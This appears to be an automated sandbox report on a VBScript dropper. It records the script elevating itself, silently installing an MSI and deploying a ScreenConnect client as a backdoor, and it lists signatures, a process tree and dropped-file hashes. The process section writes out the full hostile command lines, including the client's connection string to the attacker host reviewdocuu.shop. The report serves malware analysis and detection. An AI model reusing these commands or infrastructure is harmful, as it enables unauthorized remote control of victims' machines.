Analysis

  • max time kernel
    148s
  • max time network
    139s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    15/07/2026, 12:12

General

  • Target
    Filee_Download.vbs
  • Size 1KB
  • Sample260715-pdfnssft3x
  • SHA256 d8b47e40d58d44f923a9e79e0dc19642766694c95fc2ef41e0a34ddd99eb99f2
  • MD5 SHA1 SHA512 TLSH

Malware Config

Signatures

  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • Signed with revoked ConnectWise certificate 6 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Executes dropped EXE 4 IoCs
  • Loads dropped DLL 22 IoCs
  • Enumerates connected drives 3 TTPs 23 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

  • Drops file in System32 directory 17 IoCs
  • Drops file in Program Files directory 19 IoCs
  • Drops file in Windows directory 26 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 30 IoCs
  • Modifies registry class 39 IoCs
  • Suspicious behavior: EnumeratesProcesses 12 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Filee_Download.vbs"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3200
    • C:\Windows\System32\wscript.exe
      "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\Filee_Download.vbs" /elevated
      2⤵
      • Badlisted process makes network request
      • Suspicious use of WriteProcessMemory
      PID:2964
      • C:\Windows\System32\msiexec.exe
        "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\level.msi" LEVEL_API_KEY=nTK6sACEYTMaEnt7YxNdfe4n /qn
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of SetWindowsHookEx
        PID:3012
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Boot or Logon Autostart Execution: Authentication Package
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:5744
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 4BF32710F71E4834A44E91DD4E4B832A
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:3112
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Windows\Installer\MSIEB36.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240708781 2 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        PID:4144
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding D71BD0529469A87B1C3CFB614EE05E7A E Global\MSI0000
      2⤵
      • Loads dropped DLL
      • Drops file in Windows directory
      • System Location Discovery: System Language Discovery
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      PID:2472
  • C:\Program Files (x86)\ScreenConnect Client (d71e6f35739a3339)\ScreenConnect.ClientService.exe
    "C:\Program Files (x86)\ScreenConnect Client (d71e6f35739a3339)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=reviewdocuu.shop&p=8041&s=2eec269f-e541-4514-b3bf-9cdaeaedf244&k=BgIAAACkAABSU0ExAAgAAAEAAQAlWAgP7kpoZnYM9ITVpJ07LKjbIIUN99gAXUJNgstXajsvVAlDWH6S4qjeYUrejD5IRLZc%2b%2bNEAh%2fOIz%2bpq3ZjcxKN2KWv5iDnpVFBXYopvSOPyBLXnvq9I2WEqhD0M5PQuK2tOFLhR2Vm9gIJYq7Ri9TAkYlzPGGEig%2bTOUqPHBqRuYOCB%2b74BlaQUtuCxBwkiFdfJAi7K9Q%2brQPMr%2fvDujMVUefja%2fga0uQcvoyROIZDwxF%2buipZSIi5Cs9p8MEoIWOQ6pHLBkaUfgXM7wOzFPzKsTWzl47NjGQVAO4P5UBMBlG0yGgC5dITp627QQ09HymiZeXqardQKBOwnpil"
    1⤵
    • Sets service image path in registry
    • Executes dropped EXE
    • Loads dropped DLL
    • Drops file in System32 directory
    • System Location Discovery: System Language Discovery
    • Modifies data under HKEY_USERS
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:4568
    • C:\Program Files (x86)\ScreenConnect Client (d71e6f35739a3339)\ScreenConnect.WindowsClient.exe
      "C:\Program Files (x86)\ScreenConnect Client (d71e6f35739a3339)\ScreenConnect.WindowsClient.exe" "RunRole" "06d57d52-5b7c-463d-b16d-5cbe865413db" "User"
      2⤵
      • Executes dropped EXE
      • Modifies data under HKEY_USERS
      PID:1528
    • C:\Program Files (x86)\ScreenConnect Client (d71e6f35739a3339)\ScreenConnect.WindowsBackstageShell.exe
      "C:\Program Files (x86)\ScreenConnect Client (d71e6f35739a3339)\ScreenConnect.WindowsBackstageShell.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Modifies data under HKEY_USERS
      • Modifies registry class
      • Suspicious use of SetWindowsHookEx
      PID:2356
    • C:\Program Files (x86)\ScreenConnect Client (d71e6f35739a3339)\ScreenConnect.WindowsClient.exe
      "C:\Program Files (x86)\ScreenConnect Client (d71e6f35739a3339)\ScreenConnect.WindowsClient.exe" "RunRole" "797cd4cc-e1f3-47f8-a687-e9923d8073ef" "System"
      2⤵
      • Executes dropped EXE
      • Checks processor information in registry
      • Modifies data under HKEY_USERS
      PID:4856

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

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        Downloads

        e58e83b.rbs

        • Path C:\Config.Msi\e58e83b.rbs
        • Size 214KB
        • SHA256 e1a818f723f2a8c29469d93db53cfd26bb278961f83e78acaf8f8be822d38b0e
        • MD5 SHA1 SHA512 SSDEEP TLSH

        Client.Override.en-US.resources

        • Path C:\Program Files (x86)\ScreenConnect Client (d71e6f35739a3339)\Client.Override.en-US.resources
        • Size 227B
        • SHA256 38bdcc2ec25e7464dde7293b5a6ec64eea4b9d9f6fb8c36fdcc5677a6f55b721
        • MD5 SHA1 SHA512 TLSH

        Client.Override.resources

        • Path C:\Program Files (x86)\ScreenConnect Client (d71e6f35739a3339)\Client.Override.resources
        • Size 19KB
        • SHA256 c6607c671c110b9151dc4dbc68ac2396a2b15d5ea9a98d6a0488a0ac5606b44c
        • MD5 SHA1 SHA512 SSDEEP TLSH

        Client.en-US.resources

        • Path C:\Program Files (x86)\ScreenConnect Client (d71e6f35739a3339)\Client.en-US.resources
        • Size 48KB
        • SHA256 6a000a67799a071883b6e25f86d91c2c513aae0b34b3643be77e5b889335fb95
        • MD5 SHA1 SHA512 SSDEEP TLSH

        Client.resources

        • Path C:\Program Files (x86)\ScreenConnect Client (d71e6f35739a3339)\Client.resources
        • Size 28KB
        • SHA256 95b299c8c163731707e8134946059a28c668c2b65b48f57eac2847dbe4beb63e
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.Client.dll

        • Path C:\Program Files (x86)\ScreenConnect Client (d71e6f35739a3339)\ScreenConnect.Client.dll
        • Size 192KB
        • SHA256 6526705b685c2f221a6675118c73cba98c47d948169d81ea4544c3e3336b8f2b
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.ClientService.dll

        • Path C:\Program Files (x86)\ScreenConnect Client (d71e6f35739a3339)\ScreenConnect.ClientService.dll
        • Size 66KB
        • SHA256 319ba24115e64ea4b714caf4e88d3d5a658defd51d714c2291b9758466925281
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.ClientService.exe

        • Path C:\Program Files (x86)\ScreenConnect Client (d71e6f35739a3339)\ScreenConnect.ClientService.exe
        • Size 93KB
        • SHA256 f048400c23add8c75abe189393d33c873c02c74eeaf43d47b950c8d643763b35
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.WindowsAuthenticationPackage.dll

        • Path C:\Program Files (x86)\ScreenConnect Client (d71e6f35739a3339)\ScreenConnect.WindowsAuthenticationPackage.dll
        • Size 254KB
        • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.WindowsBackstageShell.exe

        • Path C:\Program Files (x86)\ScreenConnect Client (d71e6f35739a3339)\ScreenConnect.WindowsBackstageShell.exe
        • Size 59KB
        • SHA256 1404090db3128de503ba4d991a960c7c1bc3b910a62d06ecf7e7081a2fcf11b9
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.WindowsClient.exe

        • Path C:\Program Files (x86)\ScreenConnect Client (d71e6f35739a3339)\ScreenConnect.WindowsClient.exe
        • Size 593KB
        • SHA256 b80d07610b81bddb3d7f30a207a2e134b559e06b8440598a926f3a9c1d439218
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.WindowsClient.exe.config

        • Path C:\Program Files (x86)\ScreenConnect Client (d71e6f35739a3339)\ScreenConnect.WindowsClient.exe.config
        • Size 266B
        • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
        • MD5 SHA1 SHA512 TLSH

        ScreenConnect.WindowsCredentialProvider.dll

        • Path C:\Program Files (x86)\ScreenConnect Client (d71e6f35739a3339)\ScreenConnect.WindowsCredentialProvider.dll
        • Size 837KB
        • SHA256 36ad3b4858ee84fd2a73522a9ad25d177f492a65e1cbc6630169dc820dc2b63d
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.WindowsFileManager.exe

        • Path C:\Program Files (x86)\ScreenConnect Client (d71e6f35739a3339)\ScreenConnect.WindowsFileManager.exe
        • Size 79KB
        • SHA256 13f8cfe4648b807a0cbddd653c75254b60d1951e11e715f4e5a1a2c9ab29360b
        • MD5 SHA1 SHA512 SSDEEP TLSH

        app.config

        • Path C:\Program Files (x86)\ScreenConnect Client (d71e6f35739a3339)\app.config
        • Size 2KB
        • SHA256 48679693cc6d35b62310521d87402f985597e48d5265f1cd4c93d204af2655bc
        • MD5 SHA1 SHA512 TLSH

        system.config

        • Path C:\Program Files (x86)\ScreenConnect Client (d71e6f35739a3339)\system.config
        • Size 942B
        • SHA256 6d8bed77a971d7758ba73faf64cda14e250458e27d212e41b57d3ebae06eb124
        • MD5 SHA1 SHA512 TLSH

        level.msi

        • Path C:\Users\Admin\AppData\Local\Temp\level.msi
        • Size 12.9MB
        • SHA256 2c9208a813c223a37e209b9cc1415ac695e6c2abba32dbc894aa25dc3dd219f0
        • MD5 SHA1 SHA512 SSDEEP TLSH

        MSIEB36.tmp

        • Path C:\Windows\Installer\MSIEB36.tmp
        • Size 1.0MB
        • SHA256 a45ba86c5d13aa8e814e4cb0860b5b2a39ce9677b0d980947f6fe31676051cb2
        • MD5 SHA1 SHA512 SSDEEP TLSH

        Microsoft.Deployment.WindowsInstaller.dll

        • Path C:\Windows\Installer\MSIEB36.tmp-\Microsoft.Deployment.WindowsInstaller.dll
        • Size 172KB
        • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.Core.dll

        • Path C:\Windows\Installer\MSIEB36.tmp-\ScreenConnect.Core.dll
        • Size 538KB
        • SHA256 b8100e5ab07983cbf82d721cf719576ca3f60e352628dcaabd42d428011fdedf
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.InstallerActions.dll

        • Path C:\Windows\Installer\MSIEB36.tmp-\ScreenConnect.InstallerActions.dll
        • Size 11KB
        • SHA256 c79a22accadb1f8a716669ca68c6d6f4e9a21c0d639e2846f288b60bc8adc770
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.Windows.dll

        • Path C:\Windows\Installer\MSIEB36.tmp-\ScreenConnect.Windows.dll
        • Size 1.6MB
        • SHA256 da29455a64858fda773319c32c0a6cd40edbe8042ed005aa2befb8a4f0fb0522
        • MD5 SHA1 SHA512 SSDEEP TLSH

        MSIF411.tmp

        • Path C:\Windows\Installer\MSIF411.tmp
        • Size 202KB
        • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
        • MD5 SHA1 SHA512 SSDEEP TLSH

        memory/1528-117-0x000000001B050000-0x000000001B0DC000-memory.dmp

        memory/1528-125-0x0000000002430000-0x0000000002448000-memory.dmp

        memory/1528-124-0x0000000000A20000-0x0000000000A38000-memory.dmp

        memory/1528-121-0x000000001B5D0000-0x000000001B758000-memory.dmp

        memory/1528-115-0x0000000000010000-0x00000000000A8000-memory.dmp

        memory/1528-118-0x000000001B290000-0x000000001B43C000-memory.dmp

        memory/1528-116-0x0000000002450000-0x0000000002486000-memory.dmp

        memory/2356-123-0x0000000000910000-0x0000000000922000-memory.dmp

        memory/4144-26-0x0000000003E50000-0x0000000003E5A000-memory.dmp

        memory/4144-30-0x0000000005F40000-0x0000000005FCC000-memory.dmp

        memory/4144-35-0x00000000068F0000-0x0000000006EAA000-memory.dmp

        memory/4144-34-0x0000000006180000-0x000000000632C000-memory.dmp

        memory/4144-22-0x0000000003E10000-0x0000000003E3E000-memory.dmp

        memory/4568-74-0x0000000001580000-0x0000000001598000-memory.dmp

        memory/4568-89-0x0000000003C10000-0x0000000003C60000-memory.dmp

        memory/4568-100-0x0000000003C90000-0x0000000003CC6000-memory.dmp

        memory/4568-101-0x0000000003D70000-0x0000000003E02000-memory.dmp

        memory/4568-105-0x0000000004140000-0x0000000004215000-memory.dmp

        memory/4568-103-0x0000000003CD0000-0x0000000003D11000-memory.dmp

        memory/4568-128-0x0000000006CC0000-0x0000000006D26000-memory.dmp

        memory/5744-129-0x00000158CD3F0000-0x00000158CDD94000-memory.dmp